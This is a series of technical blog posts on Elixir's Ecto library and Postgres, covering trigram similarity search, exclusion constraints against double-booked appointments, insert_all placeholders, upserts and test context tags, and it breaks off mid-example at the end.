def ilike_with_similarity(search_term) do
  ilike_search_term = "%#{search_term}%"

  query =
    from(
      p in Person,
      where: ilike(p.name, ^ilike_search_term),
      order_by: {:desc, fragment("? % ?", ^search_term, p.name)}
    )

  Repo.all(query)
end

This query uses ILIKE to filter out any non-matching names and then orders the remaining names by their similarity to the search term. It uses the GIN index for all operations and returns the most relevant results on top. Keep in mind that it has the same limitation as ILIKE which is that it doesn't return non-matching, but very similar search results like Ana for the search term Anna. It is independent of the global similarity threshold since it only sorts the results of the ILIKE query. If you use the ILIKE method, you should seriously consider this combination for production use.

Intermediate Wrap-up

Now you know how to use the ILIKE and similarity operators efficiently to search for names and other short texts in your database. If that is all you want to know, feel free to stop reading at this point. Just make sure to EXPLAIN ANALYZE your queries and check that they use the index before going to production.

The remainder of this blog post takes a deep dive into the nitty-gritty details of how Postgres calculates the similarity score. During our research, we were unable to find a comprehensive explanation of the inner workings of the similarity, word_similarity, and strict_word_similarity operators. So, here it is 😊

A deep-dive into Similarity

To understand the similarity operator, we first need to understand what Tigrams are. In short: A trigram is a group of three consecutive characters taken from a string. So, the Trigrams of the word Bert would be:

> SELECT show_trgm('Bert');
{"  b"," be","ber","ert","rt "}

Trigrams break down each string into a Set of character groups with 3 letters each. A character group may be padded with spaces if they are at the beginning or end of the string (like " b" above). The similarity operator uses these sets to compare two strings and returns how much they overlap on a scale from 0 to 1. The two sets are more similar if they have many Trigrams in common and less similar if they share fewer Trigrams.

How Postgres calculates `similarity`

Let's break down the three names Bert, Bart, and Berry into their Trigrams and calculate the similarity of Bert and Bart and Bert and Berry. Note that Trigrams ignore the case of letters. Everything is lowercase.

The following chart shows which Trigrams occur in both names (X) and which don't (-). For example in Bert and Bart, the first Trigram " b" occurs in both names, whereas the second Trigram " ba" doesn't.

Bert:  {"  b"," be","ber","ert","rt "}
Bart:  {"  b"," ba","art","bar","rt "}
Match:    X     -     -     -     X

Bert:  {"  b"," be","ber","ert","rt "}
Berry: {"  b"," be","ber","err","rry","ry "}
Match:    X     X     X     -     -     -

Postgres calculates the similarity of these sets using the following calculation:

similarity = number of shared trigrams / number of distinct trigrams

In our comparison of Bert vs Bart, both Bert and Bart have 5 Trigrams and 2 Trigrams in common. We can calculate their similarity with:

similarity = 2 / (5 + 5 - 2) = 0.25

In our comparison of Bert vs Berry, Bert has 5 Trigrams whereas Berry has 6. They have 3 Trigrams in common, so their similarity is:

similarity = 3 / (5 + 6 - 3) = 0.375

Based on this calculation, Bert is more similar to Berry than it is to Bart. Let's quickly double-check these results in Postgres:

> SELECT similarity('Bert', 'Bart'), similarity('Bert', 'Berry');

similarity | similarity
---------- * ----------
0.25       | 0.375

Cool! Our calculations were correct! Now you know exactly how the similarity operator works (Yey? 😄).

How Postgres calculates word similarities

The word_similarity and strict_word_similarity scores are calculated in a different way than similarity. Postgres uses only parts of the names to calculate the similarity with the search term. So, if we search for João and our user's name is João Miguel Mello Fernandes Pereira dos Reis, Postgres will only use the first name João to calculate the similarity to the search term since it is the most similar word in the name.

Let's have a look the similarity scores when calculating the word and strict_word similarity of Bert and Dagobert Duck:

SELECT strict_word_similarity('Bert', 'Dagobert Duck'),
       word_similarity('Bert', 'Dagobert Duck');

strict_word_similarity | word_similarity
---------------------- * ----------
0.28 (rounded)         | 0.6

The similarities are quite different! The high-level explanation is that Postgres compares the Trigram sets of Bert and the sub-part bert of Dagobert for word_similarity whereas it compares the sets of Bert and Dagobert for strict_word_similarity. Let's have a look at the Trigram sets and how they overlap:

Bert:     {"  b"," be","ber","ert","rt "}
bert:                 {"ber","ert","rt "}
Match:      -      -     X     X     X

Bert:                             {"  b"," be","ber","ert","rt "}
Dabogert: {"  d"," da","dag","ago","gob","obe","ber","ert","rt "}
Match:       -     -     -     -     -     -     X     X     X

So, if we calculate the similarities of these two comparisons, we get the same result:

word_similarity        = 3 / (5 + 3 - 3) = 0.6
strict_word_similarity = 3 / (5 + 9 - 3) ~ 0.28

These calculations match Postgres's results exactly! I hope this little deep-dive clears up how Postgres calculates the different similarity values.

Conclusion

Until next time. Thanks for reading!

Prevent overlapping time ranges with Ecto and Postgres

2022-10-09T10:00:00Z

Happy whatever day you're reading this! Before we begin, let me ask you:

What's the best present you can ever give?

A broken drum.

Nobody can beat that.

Alright. Now, let's get down to business. Here's another question for you: Imagine you build an appointment scheduling service. A service that allows patients to book an appointment with their doctor. You want to prevent double-booking of a doctor for the same time slot. So, if one patient has an appointment on Tuesday from 9am to 10am, another patient shouldn't be able to book that same time slot. How would you implement this?

If you thought about adding the check somewhere in your Elixir code, you're not wrong, but there's a better way. If you thought: "Hey, I can do that in the database!", congrats to you because that's exactly what we will do today!

A quick dive into Exclusion Constraints

Raise your hand if you ever created a unique_index or added a not null to a field in your migration. Is that a hand up there? Good. That means you have worked with Constraints before. Even if you haven't raised your hand, chances are that you will encounter a unique index or a non-null constraint soon. However, one constraint that you probably never heard about is an Exclusion Constraint.

A unique constraint guarantees that a database column never contains the same value twice. When used with multiple columns, it guarantees that the columns never contain the same combination of values twice. So, a unique constraint checks the existing data with the input data for equality and fails if you try to insert the same data again.

An exclusion constraint is a much more powerful extension of that. It can modify the existing values using many built-in functions before comparing the existing data with the input data. Instead of a simple is equal to comparison, you can define a list of complex comparisons to check for any condition you like, not only equality. If all comparisons return true, Postgres blocks the insertion of the data. The most common use of exclusion constraints is the X overlaps Y comparison. This comparison is especially useful when you want to prevent two DateTime ranges from overlapping.

We could implement the comparison in our Elixir application as well, but moving it to our database has a few advantages. If we wanted to implement this in Elixir, we would always need at least two database queries. First, we need to check whether an overlapping appointment exists already. Most likely, this would require checking the database with a rather complex query. If the query returns nothing, we go ahead and insert our data. With an exclusion constraint, you can combine both steps into one insertion step and let Postgres handle the complex comparison. Postgres' indexes are highly optimized and written in super-fast C++, so using a constraint will probably always beat an Elixir-based implementation.

One caveat though is that you make yourself more dependent on the Postgres database if you use an exclusion constraint instead. You can't simply migrate to another database that doesn't support exclusion constraints.

With all that in mind, let's see how we can implement an exclusion constraint for our appointment scheduling service.

The Schema

Our service has an Appointment-model, which looks like this:

schema "appointments" do
  field :doctor_id, :integer
  field :canceled, :boolean, default: false

  field :from, :utc_datetime
  field :until, :utc_datetime
end

We create an appointment for a given doctor and two DateTime timestamps from and until. We could implement a custom TSRange type instead of using two individual timestamps, but this will do for now. Users are allowed to cancel an appointment, which is tracked in the canceled field.

The Changeset

Our appointment changeset is relatively simple:

def changeset(appointment, attrs) do
  appointment
  |> cast(attrs, [:doctor_id, :canceled, :from, :until])
  |> exclusion_constraint(
       :from,
       name: :overlapping_appointments
     )
  |> validate_required([:doctor_id, :from, :until])
end

Note the exclusion_constraint/3 function here (Kudos to Michele Balistreri who implemented this function 👏). It instructs Ecto to convert any violations of the exclusion constraint into an Ecto.ConstraintError. If we don't add this, Ecto will raise the constraint error as an unhandled exception instead. By using exclusion_constraint/3, we can catch and return proper error messages instead of crashing the process when we try to insert an overlapping appointment. Let's create the constraint next.

The Migration

We create the exclusion constraint in the migration by executing some custom SQL code. Here's the entire migration:

defmodule Demo.Repo.Migrations.CreateAppointments do
  use Ecto.Migration

  def up do
    create table(:appointments) do
      add :doctor_id, :integer
      add :canceled, :boolean, default: false

      add :from, :utc_datetime
      add :until, :utc_datetime
    end

    execute "CREATE EXTENSION IF NOT EXISTS btree_gist;"

    execute """
      ALTER TABLE appointments
      ADD CONSTRAINT overlapping_appointments
      EXCLUDE USING GIST (
        doctor_id WITH =,
        tsrange("from", "until", '[)') WITH &&
      ) WHERE (NOT canceled);
    """
  end

  def down do
    drop table(:appointments)
  end
end

Since we execute custom SQL code with execute, we need to divide the migration into up and down functions instead of using a single change function. Otherwise, Ecto wouldn't know how to roll back the custom code.

Now, let's go through the migration. First, we create the appointments table. Nothing fancy here. Then, we enable the btree_gist extension, if it isn't active already. We need that extension to create an index for the exclusion constraint. Now comes the interesting part.

After creating the table, we alter it and add a constraint called overlapping_appointments. We define the constraint using the EXCLUDE USING instruction. We use a GIST index here, but you can use any other index type as well. Now, let's look at the comparisons.

Each comparison has the format field WITH operator. You can use any field from your schema and any built-in operator. In our case, we first check the doctor_id for equality with the = operator. This effectively filters the existing data for the doctor_id for which we want to insert an appointment.

Next, we want to compare the appointment time slot using Postgres' overlap operator &&. This operator is probably the most efficient method to compare overlapping time intervals, geometric shapes, or any other range type. To use it, we first need to create a timestamp range without a time zone from the from and until fields. We do that using the tsrange operator. Its parameters are the lower bound of the range from, the upper bound until, and a description of whether the bounds are inclusive or exclusive.

We want to create a time range up to, but not including, our upper bound and use the [) bounds. This way, we can insert more sane upper bounds like this:

%{
  from: ~U[2022-01-01 09:00:00Z],
  until: ~U[2022-01-01 10:00:00Z]
}

The result of the tsrange-function using these values and the [) bounds will create a time range from 09:00:00 until 09:59:59, because it excludes the upper bound. The next appointment can then start at 10:00:00 and end at 11:00:00. This makes the timestamp a bit more readable, but might confuse future-you because you'll certainly forget about this detail and will wonder why you see overlapping timestamps in your database. So, use exclusive upper bounds mindfully.

If you want to have explicit timestamps, you can use the [] bounds instead. This will include your upper bound in the range. It means that you need to define the appointments with timestamps like this though:

%{
  from: ~U[2022-01-01 09:00:00Z],
  # Note the `09:59:59` upper bound here
  until: ~U[2022-01-01 09:59:59Z]
}

The next appointment would then start at 10:00:00 and end at 10:59:59. It's up to you which bounds to use.

Note: If you have timestamps with time zones, you can use the tstzrange-operator instead. BUT: For your own sanity, better use utc_datetime for all your DateTime data. Trust me. Timezones in the database are PAIN.

Now, that we created the range, we can use the &&-operator to check whether the existing and the input range overlap. The complete comparison looks like this:

tsrange("from", "until", '[)') WITH &&

The &&-operator also checks for partial overlaps (e.g. 09:00-10:00 and 09:30-10:30 overlap and 09:00-10:00 and 09:15-09:30 overlap also). So, whenever an existing range and the input range overlap, this operator returns TRUE and our insertion will fail. Neat!

Lastly, we want to ignore canceled appointments and add the where (NOT canceled)-condition. This instructs Postgres to ignore all canceled appointments in the exclusion constraint. We can now insert overlapping appointments if one of them is canceled.

Giving it a spin

With all this in place, let's run our migrations with mix ecto.migrate and try it out!

Let's create an appointment first:

iex> Demo.Appointments.create_appointment(
  %{
    doctor_id: 1,
    canceled: false,
    from: ~U[2022-01-01 09:00:00Z],
    until: ~U[2022-01-01 09:59:00Z]
  }
)
{:ok, _appointment}

Now, let's try to insert an overlapping appointment and see what happens:

iex> Demo.Appointments.create_appointment(
  %{
    doctor_id: 1,
    canceled: false,
    from: ~U[2022-01-01 09:00:00Z],
    until: ~U[2022-01-01 09:59:00Z]
  }
)
{:error,
  #Ecto.Changeset<
    action: :insert,
    changes: %{...},
    errors: [
      from: {
        "violates an exclusion constraint",
        [
          constraint: :exclusion,
          constraint_name: "overlapping_appointments"
        ]
      }
    ],
    data: #Demo.Appointments.Appointment<>,
    valid?: false
  >
}

Postgres and Ecto block the insertion and return a proper error message. Nice! Exactly what we wanted 💪

Next, let's try to create an appointment that overlaps a canceled appointment:

iex> Demo.Appointments.create_appointment(
  %{
    doctor_id: 1,
    canceled: true,
    from: ~U[2022-01-01 09:00:00Z],
    until: ~U[2022-01-01 09:59:00Z]
  }
)
{:ok, _appointment}

iex> Demo.Appointments.create_appointment(
  %{
    doctor_id: 1,
    canceled: false,
    from: ~U[2022-01-01 09:00:00Z],
    until: ~U[2022-01-01 09:59:00Z]
  }
)
{:ok, _appointment}

This also works! Very nice 🥳

Another small benefit

You might have noticed that we don't check the order of the from and until timestamps in our changeset. So, a user could insert an until that is earlier than the from, which is not what we want (but should expect). Preferably, we would check this in our changeset before executing any database action, but in case that we forgot about it, Postgres has got our back. Let's try to insert a turned-around time range and see what happens:

iex> Demo.Appointments.create_appointment(
  %{
    doctor_id: 1,
    canceled: false,
    from: ~U[2022-01-01 09:59:00Z]
    until: ~U[2022-01-01 09:00:00Z],
  }
)

** (Postgrex.Error) ERROR 22000 (data_exception) range lower bound must be less than or equal to range upper bound

Interesting! Postgres checks the order of our two timestamps when it creates the tsrange. So, without writing any Elixir code, this sanity check for timestamps comes out of the box just by using the exclusion constraint. It is still a good idea to implement the order check in your changeset though.

Conclusion

Optimize Ecto's insert_all with Placeholders

2022-10-01T10:00:00Z

Before we start talking about using placeholders in Ecto's insert_all/3, I need you to understand the following:

What do you call cheese that is not yours?


Nacho Cheese

Now, with the ceremonial dad joke out of the way, let's focus on today's topic: What are Ecto placeholders and how to use them when inserting a lot of data?

The Problem

Imagine we want to insert a lot of book data into our database. We decide to use Repo.insert_all/3 and write a script like the following:

books = [
  %{
    title: "The Hobbit",
    content: "In a hole..."
  },
  %{
    title: "The Little Prince",
    content: "Once when I was..."
  }
]

now =
  NaiveDateTime.utc_now()
  |> NaiveDateTime.truncate(:second)

data =
  Enum.map(books,
    &Map.merge(&1, %{
      inserted_at: now,
      updated_at: now
    })
  )

Repo.insert_all(Book, data)

All looks well here. We knew that Repo.insert_all/3 doesn't add the autogenerated timestamps and added them ourselves. We run the script and receive an output like this:

INSERT INTO "books"
(
  "title", "content",
  "inserted_at","updated_at"
)
VALUES
($1,$2,$3,$4),($5,$6,$7,$8)
[
  "The Hobbit",
  "In a hole...",
  ~N[2022-10-02 10:36:34],
  ~N[2022-10-02 10:36:34],

  "The Little Prince",
  "Once when I was...",
  ~N[2022-10-02 10:36:34]
  ~N[2022-10-02 10:36:34],
]

Okay, this looks good as well. But have a closer look at the values and you might start to wonder: Why do we send the same timestamps for every entry, twice?

This seems unnecessary, doesn't it? Especially since all this duplicate data is sent to our database over the network, causing unnecessary traffic, bloating up the payload, and slowing down the entire request.

If you now ask yourself: How can we send the timestamps only once? I have good news for you. Ecto's placeholders got your back.

The Solution

Ecto allows us to specify placeholders in our Repo.insert_all/3 request for fields that should all receive the same value. In this case, we want to insert the same timestamp in every inserted_at and updated_at field. But we want to send the timestamp to the database only once. We can achieve this by moving the timestamp to a placeholder like this:

books = [...]

now =
  NaiveDateTime.utc_now()
  |> NaiveDateTime.truncate(:second)

data =
  Enum.map(books,
    &Map.merge(&1, %{
      inserted_at: {:placeholder, :now},
      updated_at: {:placeholder, :now}
    })
  )

placeholders = %{now: now}

Repo.insert_all(
  Book,
  data,
  placeholders: placeholders
)

We replaced the timestamps with {:placeholder, :now} and provided the value for :now in the placeholders option. If we run this query, the output shows that Postgres inserts the timestamp wherever we used the :now placeholder. Have a look at the output:

INSERT INTO "books"
(
  "title", "content",
  "inserted_at","updated_at"
)
VALUES
($2,$3,$1,$1),($4,$5,$1,$1)
[
  ~N[2022-10-02 10:46:04],

  "The Hobbit",
  "In a hole...,

  "The Little Prince",
  "Once when I was..."
]

Ecto replaced all occurrences of our :now placeholder with a link to the first value $1, which is our timestamp. Instead of sending the same timestamp a thousand times, we only send it once and use it wherever needed. So much bandwidth saved!

Heads up: Placeholders are only supported in Postgres, and not in MySQL.

Placeholders are particularly useful when we insert a large chunk of data into multiple fields or across multiple entries. For example, imagine that we want to duplicate a book's content for multiple users. Every user wants a copy of the data for their own editing. Using placeholders, we don't have to send the book's content for every copy. We can send it once and reuse it. Here's how:

book =
  Repo.get_by(
    Book,
    title: "The Hobbit"
  )

user_ids = [1, 2, 3]

now =
  NaiveDateTime.utc_now()
  |> NaiveDateTime.truncate(:second)

copies =
  Enum.map(users_ids, &%{
    user_id: &1,
    content: {:placeholder, :content},
    inserted_at: {:placeholder, :now},
    updated_at: {:placeholder, :now}
  })

placeholders = %{
  content: book.content,
  now: now
}

Repo.insert_all(
  Copy,
  copies,
  placeholders: placeholders
)

And that's it! Ecto will replace our :content and :now placeholders wherever necessary. We successfully reduced the size of our database insert to a minimum.

Caveats

As mentioned in Ecto's docs, placeholders have a few limitations:

All fields where a placeholder is used must have the same type. For example, you can't use the same placeholder for an integer and a text field. Keep this in mind, especially when inserting different types of DateTime data.
You can't use a placeholder nested inside a data structure. The value you provide for the placeholder must always be the entire value you want to insert. Have a look at this example:

This won't work:

data = [
  %{
    details: %{
      age: {:placeholder, :age}
    }
  },
  %{
    details: %{
      age: {:placeholder, :age}
    }
  }
]

placeholders = %{age: 21}

Repo.insert_all(
  Person,
  data,
  placeholders: placeholders
)

Instead, do this:

data = [
  %{
    details: {:placeholder, :details}
  },
  %{
    details: {:placeholder, :details}
  }
]

placeholders = %{
  details: %{
    age: 21
  }
}

Repo.insert_all(
  Person,
  data,
  placeholders: placeholders
)

Conclusion

The complete guide to Upserts with Ecto

2022-09-23T10:00:00Z

Before we dive into today's blog post, please consider the following question:

What has two butts and kills people?

The answer is obvious:

An assassin

Just as assassins have two butts, we will also talk about two outstanding things today: insert and update operations on the database. In particular, this post provides a complete guide to their funky fusion: the upsert operation.

Upserts are a combination of insert and update. They allow you to update a schema without checking if it exists in your database first. A conventional update throws an error if it doesn't exist. An upsert updates the schema if it exists and creates it if it doesn't.

When to use Upserts

Upserts are useful in situations where you don't care whether a schema exists or not, you just want to update it. Let's say you want to track how often a user calls your API on a given day. In this case, you don't care whether it's the first or the hundredth API call. You just want to increase the number of API calls the user made.

Without upserts, you would need two database calls: First, a read to fetch any existing schema for the user and today's date combination. If a schema exists, you bump its counter and execute an update. If no schema exists, you insert a new one. In both scenarios, you always need a read and a write call. With upserts, you only need one write call to the database (the read is optional though, more about this later).

So, instead of doing this:

schema = Repo.get_by(Usage, user_id: user.id, date: Date.utc_today())

if schema do
  changeset = Ecto.Changeset.change(schema, counter: schema.counter + 1)
  Repo.update(changeset)
else
  new_schema = %Usage{
    user_id: user.id,
    date: Date.utc_today(),
    counter: 1
  }

  Repo.insert(new_schema)
end

You can simply do this:

Repo.insert(
  %Usage{user_id: user.id, date: Date.utc_today(), counter: 1},
  on_conflict: [inc: [counter: 1], set: [updated_at: DateTime.utc_now()]],
  conflict_target: [:user_id, :date]
)

Much better! We condensed 14 lines of code into 5, reduced the complexity of our code, and halved its database call! We replaced our insert and update calls with a single upsert. The options that made this possible are on_conflict and conflict_target. Let's have a closer look at them.

Configuring an Upsert

The reason upserts only need one database call is the on_conflict option for Ecto.Repo.insert/2. It instructs the database what to do when you try to insert a schema that violates a uniqueness constraint. A uniqueness constraint could be a unique_index on a specific field or a primary_key. If you try to insert a duplicate into one of these fields, Ecto will throw an error like this:

** (Ecto.ConstraintError) constraint error when attempting to insert struct:

    * usages_user_id_date_index (unique_constraint)

You can set the on_conflict option to any option described here. Without defining an on_conflict-option, Ecto raises an error by default. If you want to ignore the error, you can instruct it to do :nothing. You can overwrite the existing schema with :replace_all, overwrite all fields except for some with {:replace_all_except, fields}, or overwrite only specific fields with {:replace, fields}.

You can also define an update operator like inc, set, push, or pull.

inc will increase (or decrease if the given value is negative) a numeric field with a given value.
set overwrites a field with a new value.
push appends a value to an array field.
pull removes a value from an array field.

Lastly, you can also provide a custom update query like this:

query =
  from(u in Usage,
    update: [
      inc: [counter: 1],
      set: [updated_at: ^DateTime.utc_now()]
    ]
  )

Repo.insert(Usage, %{...}, on_conflict: query, conflict_target: [...])

The second option needed for implementing upserts is the conflict_target option. It specifies the constraint for which the on_conflict operation should step in as a fallback. In our case, we define the [:user_id, :date] constraint. If our insertion violates that constraint, Postgres will execute the on_conflict fallback. But if our insertion violates another constraint (e.g. the primary_key constraint), Postgres will not execute our fallback and return a constraint error instead. We don't want to update our schema if we violate just any constraint. conflict_target makes sure of that.

Heads up: The conflict_target option is only available for Postgres and not for MySQL databases. In MySQL, you can just omit it.

Preparing a Schema for Upserts

Upserts rely on uniqueness constraints in the database. We usually create such constraints in the migration that creates the table of the schema. Let's have a look at different constraints and how to create them.

First, we can leverage the uniqueness constraint of primary keys for our upserts. In such cases, we typically use a field other than the autogenerated id as the primary key for the schema. In our example above, we use a combination of user_id and date to identify the correct database entry. Let's create a migration that sets these two fields as - what Postgres calls - a "composite primary key":

defmodule Demo.Repo.Migrations.CreateUsages do
  use Ecto.Migration

  def change do
    create table(:usages, primary_key: false) do
      add(
        :user_id,
        references(:users, on_delete: :nothing),
        primary_key: true
      )
      add(:date, :date, primary_key: true)
      add(:counter, :integer, default: 0)

      timestamps()
    end
  end
end

This migration creates a usages table and adds a uniqueness constraint for the user_id and date combination since these columns act as primary keys for the table. If you prefer having an autogenerated id instead of a composite primary key, you can also create the uniqueness constraint for the two columns yourself:

defmodule Demo.Repo.Migrations.CreateUsages do
  use Ecto.Migration

  def change do
    create table(:usages) do
      add(:user_id, references(:users, on_delete: :nothing))
      add(:date, :date)
      add(:counter, :integer, default: 0)

      timestamps()
    end

    create(unique_index(:usages, [:user_id, :date]))
  end
end

The migration above creates an autogenerated id primary key and adds a uniqueness constraint on the [:user_id, :date] columns. Both approaches work just fine. It is up to you to decide which one you prefer.

Upserting Usage Data

Here is an example function that upserts data into the usages table:

def upsert_usage(user, increment \\ 1, date \\ Date.utc_today()) do
  Repo.insert(
    %Usage{user_id: user.id, date: date, counter: increment},
    on_conflict: [
      inc: [counter: increment],
      set: [updated_at: DateTime.utc_now()]
    ],
    conflict_target: [:user_id, :date]
  )
end

One nitty-gritty detail is the second part of the on_conflict instruction: The set: [updated_at: DateTime.utc_now()] part. The problem is that the on_conflict option is similar to the Repo.update_all/3 operation. It does not update autogenerated fields like inserted_at or updated_at. We need to set it ourselves. Usually, we don't create autogenerated timestamps when using upserts and rely on the date field instead. This allows us to remove the set operation above. However, adding the timestamps is unproblematic as long as you remember to update them manually in your upsert function.

Testing your Upserts

Testing your upsert functionality is straightforward. Have a look at the example test below:

test "upsert_usage/1 creates and then updates a usage", %{user: user} do
  assert [] = Usages.list_usages()

  assert {:ok, _usage} = Usages.upsert_usage(user)

  assert [usage] = Usages.list_usages()
  assert usage.user_id == user.id
  assert usage.date == Date.utc_today()
  assert usage.counter == 1

  assert {:ok, _usage} = Usages.upsert_usage(user)

  assert [usage] = Usages.list_usages()
  assert usage.counter == 2
end

You might wonder why we fetched the schema from the database using Usages.list_usages/0 instead of using the one returned in {:ok, usage}. The reason is that the on_conflict fallback does not return the updated schema. It returns the schema that we tried to insert instead, which has a counter of 1. This becomes clearer when we run the upsert in an IEx shell:

# Return values were shortened for brevity
iex> Usages.upsert_usage(user)
{:ok, %Usage{counter: 1}}

iex> Usages.upsert_usage(user)
{:ok, %Usage{counter: 1}}

iex> Usages.list_usages()
[%Usage{counter: 2}]

As you can see, Usages.upsert_usage/1 always returns a counter of 1. You have to fetch the updated counter yourself. There are different ways to achieve this, so let's have a look at them.

Fetching the new State

If you want to return the updated schema from your upsert function, you need to add the returning: true option on the Repo.insert/2 like this:

Repo.insert(
  %Usage{user_id: user.id, date: date, counter: increment},
  on_conflict: [
    inc: [counter: increment],
    set: [updated_at: DateTime.utc_now()]
  ],
  conflict_target: [:user_id, :date],
  # Add the following option:
  returning: true
)

This option instructs Ecto to read after write, which means that it fetches the updated schema from the database after the on_conflict operation. This means that you perform two database calls, a write and then a read!. If you care about the performance of your upserts, don't use this option since it will always fetch the entire updated schema by default. Instead, you can fetch the schema whenever you need it manually.

Now, with the returning: true option in place, let's repeat our instructions in the IEx shell:

# Return values were shortened for brevity
iex> Usages.upsert_usage(user)
{:ok, %Usage{counter: 1}}

iex> Usages.upsert_usage(user)
{:ok, %Usage{counter: 2}}

iex> Usages.list_usages()
[%Usage{counter: 2}]

This looks more like expected! Ecto now fetches the entire schema after the update.

If you want to fetch only certain fields and not the entire schema, you can specify them by returning: [:my_field, :another_field]. This will instruct Ecto to only read the specified fields after the update and not the entire schema.

Another option is to add read_after_writes: true to the fields in your schema definition:

defmodule Demo.Usages.Usage do
  use Ecto.Schema
  import Ecto.Changeset

  schema "usages" do
    field(:date, :date)
    field(:path, :string)
    # Instruct Ecto to always read this field
    # from the database after every insert, update, or delete.
    field(:counter, :integer, read_after_writes: true)

    timestamps()
  end
end

If we recompile our code and execute the IEx instructions again, it will show the same result. Only the counter-field is read after the on_conflict operation finishes now. Be aware that Ecto will always read the counter field from the database for all other database operations as well. So, even if you update another field of the schema, Ecto will always fetch its counter-field. Even when the counter field didn't change.

Heads up: The returning: true and read_after_writes: true options only work for Postgres and raise an error in MySQL.

Using Upserts with Binary IDs

Ecto generates a new id whenever it tries to insert a schema with a binary_id. Upserting such schemas can become confusing if you don't use returning: true. Have a look at the following IEx instructions:

# Return values were shortened for brevity
iex> Usages.upsert_usage(user)
{:ok, %Usage{
  id: "c3181047-ee1a-4621-94bc-e3a4b0a88d12",
  user_id: 1,
  counter: 1
}}

iex> Usages.upsert_usage(user)
{:ok, %Usage{
  id: "e8bd4951-ea2c-44b0-8123-45f314d6010f",
  user_id: 1,
  counter: 1
}}

iex> Usages.list_usages()
[%Usage{id: "c3181047-ee1a-4621-94bc-e3a4b0a88d12", user_id: 1, counter: 2}]

At first glance, you might wonder why Ecto inserts a new schema with a new id for the same user instead of upserting an existing one. The confusing part here is that it doesn't. When we upsert our schema for the first time, Ecto generates a binary_id and saves it to the database. All good. When we upsert the schema again, Ecto generates a binary_id again and tries to insert it. Because of the constraint conflict though, that new binary_id is never persisted. The database will perform our on_conflict operation instead and ignore the generated id.

Now comes the tricky part: Once the on_conflict operation finishes, Ecto will return the schema it tried to insert, not the existing schema that was updated! That's why it returns a completely new binary_id instead of the existing one! Once we fetch the schema from the database, we see that it uses the binary_id generated during the first upsert. So, all works as expected.

When you run this code in production, this detail probably won't bother you. But don't forget this fact when you write your tests! Look at the following test and try to find the error we made:

test "upsert_usage/1 actually upserts a schema", %{user: user} do
  assert {:ok, usage} = Usages.upsert_usage(user)
  assert %{counter: 1} = Repo.get(Usage, usage.id)

  assert {:ok, usage} = Usages.upsert_usage(user)
  assert %{counter: 2} = Repo.get(Usage, usage.id)
end

Did you see the mistake we made?

Unless you added returning: true or at least returning: [:id] to the upsert function, the second assertion will fail. We fetched the updated schema with the new but ignored id and not the original id. But our database found a constraint violation and ignored the new id! So, the second Repo.get(Usage, usage.id) will return nil.

Here is the test again, this time without the mistake:

test "upsert_usage/1 actually upserts a schema", %{user: user} do
  assert {:ok, original_usage} = Usages.upsert_usage(user)
  assert %{counter: 1} = Repo.get(Usage, usage.id)

  assert {:ok, _usage} = Usages.upsert_usage(user)
  assert %{counter: 2} = Repo.get(Usage, original_usage.id)
end

Exploring more funky ID behaviors

Another interesting behavior of upserts is that they cause gaps between primary keys. Have a look at the following IEx instructions which upsert a schema that has an integer primary key. For this demo, we added returning: true to the upsert function.

# Return values were shortened for brevity
iex> Usages.upsert_usage(user_1)
{:ok, %Usage{id: 1, user_id: 1, counter: 1}}

iex> Usages.upsert_usage(user_1)
{:ok, %Usage{id: 1, user_id: 1, counter: 2}}

iex> Usages.upsert_usage(user_2)
{:ok, %Usage{id: 3, user_id: 2, counter: 1}}

iex> Usages.list_usages()
[%Usage{id: 1}, %Usage{id: 3}]

That's weird. Since we only insert two schemas, we would expect the second schema to have an id of 2, but it doesn't! There's a gap between the id of the first schema (1) and the id of the second schema (3) of exactly the number of upserts we executed. But why is that?

The reason is complex and described in more detail here, but this is the short version: Before Postgres does anything with the data you provide, it resolves the schema's default values. So, if you define a default value for a field and don't provide data for that field in your insert request, Postgres will fill in its default value. For integer IDs, that default value is the next number in a sequence of IDs for the table. Whenever you insert a schema, Postgres fetches the next ID from the sequence which increments the sequence by one. This way, it guarantees that the next ID has never been used before.

Practically, our upsert is an insert with a fallback, and therefore Postgres fills in its id, even if the insert is aborted due to a constraint violation! So, Postgres increments the sequence even if we haven't inserted anything and the on_conflict operation was executed. Once we insert the next schema, it will have the id of the previous schema plus every upsert we called since plus one. Funny, right?

In practice, this fun fact probably has no implication (how often do you check for gaps in your primary keys anyways?). It is important to be aware of it though. The default id for Postgres tables is a SERIAL integer with 4 bytes. Its maximum value is 2_147_483_647. Imagine that you upsert your usage counter 10 times per second. After almost 7 years, your sequence of IDs will reach its maximum and you won't be able to insert new schemas or upsert the existing ones anymore! This scenario is not unrealistic for large enterprise software, so keep this limitation in mind.

If you want to be on the safe side, you can always use a BIGSERIAL integer as a primary key with 8 bytes and a maximum value of 9_223_372_036_854_775_807. It would take around 29 billion years to reach its maximum, which is roughly 21 billion years after the sun explodes. So, you'll probably be fine 👍

Conclusion

This has been a thorough deep-dive into all things upserts with Ecto. I hope you enjoyed it! If you have questions or comments, let's discuss them on BlueSky. Follow me on BlueSky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until then, thanks for reading!

Organize your tests with context tags

2022-09-15T10:00:00Z

Writing tests is the easiest way to improve your software's maintainability and reliability. They can communicate the expected behavior of your code with your fellow developers. Yet, I would argue that only organized and easy-to-understand tests are helpful tests. Let's have a look at an often overlooked tool for organizing your tests: Context tags.

Let's consider the situation where you write tests for a Phoenix controller. When users log in, the controller returns their profile page. If they are admins, it returns a dedicated admin dashboard. And if they are not logged in, they can't access the profile page and will see a 404 instead.

When you write tests for this controller, you might create the setup for each test inside the test case, like this:

test "GET /profile as user shows the user's name", %{conn: conn} do
  # The test setup
  user = user_fixture(%{admin: false, name: "Bob"})
  conn = Plug.Conn.assign(conn, :current_user, user)

  # The actual test
  conn = get(conn, "/profile")
  assert html_response(conn, 200) =~ "Hello Bob"
end

Now, you want to add more tests for your controller. You need the test setup in each test case though. You can either copy and paste the code into each test case or move it to a private function. Another option is to move the test setup to the setup-block, like this:

setup %{conn: conn} do
  user = user_fixture(%{admin: false, name: "Bob"})
  conn = Plug.Conn.assign(conn, :current_user, user)

  %{conn: conn}
end

test "GET /profile as user shows the user's name", %{conn: conn} do
  conn = get(conn, "/profile")
  assert html_response(conn, 200) =~ "Hello Bob"
end

This looks much cleaner already! The setup-block will execute before each test case and create and assign a user. You don't have to copy and paste the code to each test case anymore.

One issue with the shared setup-block is that you can't configure it for each test. It is the same for all the tests. But what if you want to test how the controller behaves for admins? That's where context tags come in. Let's see how to use them.

First, let's configure whether the user is an admin or not. Let's update the setup block to use the context instead of hard-coding every user property:

setup %{conn: conn} = context do
